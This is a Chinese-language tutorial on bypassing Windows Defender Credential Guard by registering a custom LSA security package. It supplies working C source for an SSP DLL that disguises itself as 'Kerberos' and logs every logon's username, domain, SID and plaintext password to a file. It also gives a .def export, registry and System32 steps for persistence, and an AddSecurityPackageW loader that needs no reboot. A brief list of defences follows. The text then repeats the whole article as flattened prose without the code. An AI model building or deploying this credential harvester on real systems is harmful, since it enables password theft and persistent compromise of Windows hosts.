Credential Guard Bypass From Custom SSP
字数 1844 2025-08-25 22:58:29

Windows Defender Credential Guard 绕过技术:自定义 SSP 实现

0. 背景介绍

Windows Defender Credential Guard 是微软从 Windows 10 1507 企业版和 Windows Server 2016 开始引入的安全控制机制,旨在防止凭据盗窃攻击。它使用基于虚拟化的安全性来隔离敏感信息,保护以下凭据:

  • NTLM 密码哈希
  • Kerberos TGT 票据
  • 应用程序存储的域凭据

在传统系统中,LSA (Local Security Authority) 进程会将密码存储在内存中,而启用 Credential Guard 后:

  1. 操作系统中的 LSA 进程与新的"隔离 LSA 进程"(Isolated LSA Process)通信
  2. 隔离 LSA 进程使用基于虚拟化的安全性保护数据
  3. 系统其余部分无法访问这些数据
  4. LSA 使用远程过程调用与隔离 LSA 进程通信

1. 技术原理

1.1 自定义安全包(SSP/AP)

自定义安全包 API 允许开发:

  • 自定义安全支持提供程序(SSP):为客户端/服务器应用提供非交互式身份验证
  • 自定义身份验证包(AP):为交互式身份验证提供服务

当这两种服务合并时称为 SSP/AP 安全包。这种包与 LSA 完全集成,可以实现:

  • 令牌创建
  • 补充凭据支持
  • 直通身份验证

通过注册自定义 SSP/AP,当用户进行交互式登录时,系统会通过我们的 SSP/AP 传递明文凭据,从而绕过 Credential Guard 的保护。

1.2 LSA 模式初始化流程

系统启动时,LSA 会:

  1. 加载所有已注册的 SSP/AP DLL 到其进程空间
  2. 调用每个 DLL 中的 SpLsaModeInitialize() 函数
  3. 获取指向 DLL 中安全包实现函数的指针(SECPKG_FUNCTION_TABLE 结构数组)
  4. 调用每个安全包的 SpInitialize() 函数,传递 LSA 支持函数指针

1.3 必须实现的函数

自定义 SSP/AP 需要实现以下关键函数:

函数 描述
SpInitialize 执行初始化处理,接收 LSA 支持函数指针
SpShutDown 卸载前执行清理工作
SpGetInfo 提供安全包的一般信息(名称、描述、功能)
SpAcceptCredentials 接收并存储经过身份验证的安全主体的凭据

2. 实现步骤

2.1 创建自定义 SSP DLL

以下是关键代码实现:

#include "pch.h"

// 定义函数表
static SECPKG_FUNCTION_TABLE SecPkgFunctionTable[] = {
    {
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    _SpInitialize, _SpShutDown, _SpGetInfo, _SpAcceptCredentials,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL
    }
};

// 初始化函数
NTSTATUS NTAPI _SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
    return STATUS_SUCCESS;
}

// 关闭函数
NTSTATUS NTAPI _SpShutDown(void)
{
    return STATUS_SUCCESS;
}

// 获取信息函数
NTSTATUS NTAPI _SpGetInfo(PSecPkgInfoW PackageInfo)
{
    PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    PackageInfo->wVersion = 1;
    PackageInfo->wRPCID = SECPKG_ID_NONE;
    PackageInfo->cbMaxToken = 0;
    PackageInfo->Name = (SEC_WCHAR*)L"Kerberos"; // 伪装成Kerberos
    PackageInfo->Comment = (SEC_WCHAR*)L"Microsoft Kerberos V5.0";
    return STATUS_SUCCESS;
}

// 接收凭据函数
NTSTATUS NTAPI _SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, 
                                   PUNICODE_STRING AccountName, 
                                   PSECPKG_PRIMARY_CRED PrimaryCredentials, 
                                   PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
    const wchar_t* LSA_LOGON_TYPE[] = {
        L"UndefinedLogonType",
        L"Unknown !",
        L"Interactive",
        L"Network",
        L"Batch",
        L"Service",
        L"Proxy",
        L"Unlock",
        L"NetworkCleartext",
        L"NewCredentials",
        L"RemoteInteractive",
        L"CachedInteractive",
        L"CachedRemoteInteractive",
        L"CachedUnlock",
    };

    FILE* logfile;
    if (_wfopen_s(&logfile, L"CustSSP.log", L"a") == 0)
    {
        // 记录详细的登录信息
        SspLog(logfile, L">>>>=================================================================\n"
              L"[+] Authentication Id : %u:%u (%08x:%08x)\n"
              L"[+] Logon Type        : %s\n"
              L"[+] User Name         : %wZ\n"
              L"[+] Domain            : %wZ\n"
              L"[+] Logon Server      : %wZ\n"
              L"[+] SID               : %s\n"
              L"[+] SSP Credential    : \n"
              L"\t* UserName    : %wZ\n"
              L"\t* Domain      : %wZ\n"
              L"\t* Password    : ",
              PrimaryCredentials->LogonId.HighPart,
              PrimaryCredentials->LogonId.LowPart,
              PrimaryCredentials->LogonId.HighPart,
              PrimaryCredentials->LogonId.LowPart,
              LSA_LOGON_TYPE[LogonType],
              AccountName,
              &PrimaryCredentials->DomainName,
              &PrimaryCredentials->LogonServer,
              SidToString(PrimaryCredentials->UserSid),
              &PrimaryCredentials->DownlevelName,
              &PrimaryCredentials->DomainName);
              
        // 记录密码
        SspLogPassword(logfile, &PrimaryCredentials->Password);
        SspLog(logfile, L"\n");
        fclose(logfile);
    }
    return STATUS_SUCCESS;
}

// LSA模式初始化函数
NTSTATUS NTAPI _SpLsaModeInitialize(ULONG LsaVersion, 
                                   PULONG PackageVersion, 
                                   PSECPKG_FUNCTION_TABLE* ppTables, 
                                   PULONG pcTables)
{
    *PackageVersion = SECPKG_INTERFACE_VERSION;
    *ppTables = SecPkgFunctionTable;
    *pcTables = ARRAYSIZE(SecPkgFunctionTable);
    return STATUS_SUCCESS;
}

2.2 导出函数

需要创建.def文件导出SpLsaModeInitialize函数:

LIBRARY
EXPORTS
    SpLsaModeInitialize = _SpLsaModeInitialize

3. 部署与使用

3.1 传统部署方法

  1. 将编译的CustSSP.dll复制到C:\Windows\System32目录
  2. 修改注册表,添加安全包:
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages
    
    添加值CustSSP
  3. 重启系统使更改生效

3.2 动态加载方法(无需重启)

使用AddSecurityPackage API动态加载SSP:

#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")

int wmain(int argc, char** argv) {
    SECURITY_PACKAGE_OPTIONS option;
    option.Size = sizeof(option);
    option.Flags = 0;
    option.Type = SECPKG_OPTIONS_TYPE_LSA;
    option.SignatureSize = 0;
    option.Signature = NULL;

    if (AddSecurityPackageW((LPWSTR)L"CustSSP", &option) == SEC_E_OK)
    {
        wprintf(L"[*] Add security package successfully\n");
    }
}

注意:动态加载方法在系统重启后会失效,仍需修改注册表进行持久化。

4. 防御措施

为防止此类攻击,建议采取以下措施:

  1. 限制注册表修改:限制对HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages的访问
  2. 文件完整性监控:监控System32目录下DLL的添加和修改
  3. 禁用不必要的SSP:审核并移除不必要的安全支持提供程序
  4. 使用LSA保护:启用LSA保护功能(需Windows 10 1809+)
  5. 应用白名单:限制只有授权DLL可以在系统目录中加载

5. 总结

本文详细介绍了通过自定义SSP绕过Windows Defender Credential Guard的技术原理和实现方法。关键在于:

  1. 理解LSA与SSP/AP的交互机制
  2. 正确实现必要的SSP函数,特别是SpAcceptCredentials
  3. 通过注册表或API将自定义SSP注册到系统
  4. 捕获并记录通过SSP传递的明文凭据

这种技术利用了系统设计中的信任机制,强调了即使有Credential Guard等高级保护措施,系统仍然可能通过其他扩展点被绕过。防御此类攻击需要多层次的安全策略和持续监控。

Windows Defender Credential Guard 绕过技术:自定义 SSP 实现 0. 背景介绍 Windows Defender Credential Guard 是微软从 Windows 10 1507 企业版和 Windows Server 2016 开始引入的安全控制机制,旨在防止凭据盗窃攻击。它使用基于虚拟化的安全性来隔离敏感信息,保护以下凭据: NTLM 密码哈希 Kerberos TGT 票据 应用程序存储的域凭据 在传统系统中,LSA (Local Security Authority) 进程会将密码存储在内存中,而启用 Credential Guard 后: 操作系统中的 LSA 进程与新的"隔离 LSA 进程"(Isolated LSA Process)通信 隔离 LSA 进程使用基于虚拟化的安全性保护数据 系统其余部分无法访问这些数据 LSA 使用远程过程调用与隔离 LSA 进程通信 1. 技术原理 1.1 自定义安全包(SSP/AP) 自定义安全包 API 允许开发: 自定义安全支持提供程序(SSP):为客户端/服务器应用提供非交互式身份验证 自定义身份验证包(AP):为交互式身份验证提供服务 当这两种服务合并时称为 SSP/AP 安全包。这种包与 LSA 完全集成,可以实现: 令牌创建 补充凭据支持 直通身份验证 通过注册自定义 SSP/AP,当用户进行交互式登录时,系统会通过我们的 SSP/AP 传递明文凭据,从而绕过 Credential Guard 的保护。 1.2 LSA 模式初始化流程 系统启动时,LSA 会: 加载所有已注册的 SSP/AP DLL 到其进程空间 调用每个 DLL 中的 SpLsaModeInitialize() 函数 获取指向 DLL 中安全包实现函数的指针(SECPKG_ FUNCTION_ TABLE 结构数组) 调用每个安全包的 SpInitialize() 函数,传递 LSA 支持函数指针 1.3 必须实现的函数 自定义 SSP/AP 需要实现以下关键函数: | 函数 | 描述 | |------|------| | SpInitialize | 执行初始化处理,接收 LSA 支持函数指针 | | SpShutDown | 卸载前执行清理工作 | | SpGetInfo | 提供安全包的一般信息(名称、描述、功能) | | SpAcceptCredentials | 接收并存储经过身份验证的安全主体的凭据 | 2. 实现步骤 2.1 创建自定义 SSP DLL 以下是关键代码实现: 2.2 导出函数 需要创建.def文件导出 SpLsaModeInitialize 函数: 3. 部署与使用 3.1 传统部署方法 将编译的 CustSSP.dll 复制到 C:\Windows\System32 目录 修改注册表,添加安全包: 添加值 CustSSP 重启系统使更改生效 3.2 动态加载方法(无需重启) 使用 AddSecurityPackage API动态加载SSP: 注意:动态加载方法在系统重启后会失效,仍需修改注册表进行持久化。 4. 防御措施 为防止此类攻击,建议采取以下措施: 限制注册表修改 :限制对 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages 的访问 文件完整性监控 :监控 System32 目录下DLL的添加和修改 禁用不必要的SSP :审核并移除不必要的安全支持提供程序 使用LSA保护 :启用LSA保护功能(需Windows 10 1809+) 应用白名单 :限制只有授权DLL可以在系统目录中加载 5. 总结 本文详细介绍了通过自定义SSP绕过Windows Defender Credential Guard的技术原理和实现方法。关键在于: 理解LSA与SSP/AP的交互机制 正确实现必要的SSP函数,特别是 SpAcceptCredentials 通过注册表或API将自定义SSP注册到系统 捕获并记录通过SSP传递的明文凭据 这种技术利用了系统设计中的信任机制,强调了即使有Credential Guard等高级保护措施,系统仍然可能通过其他扩展点被绕过。防御此类攻击需要多层次的安全策略和持续监控。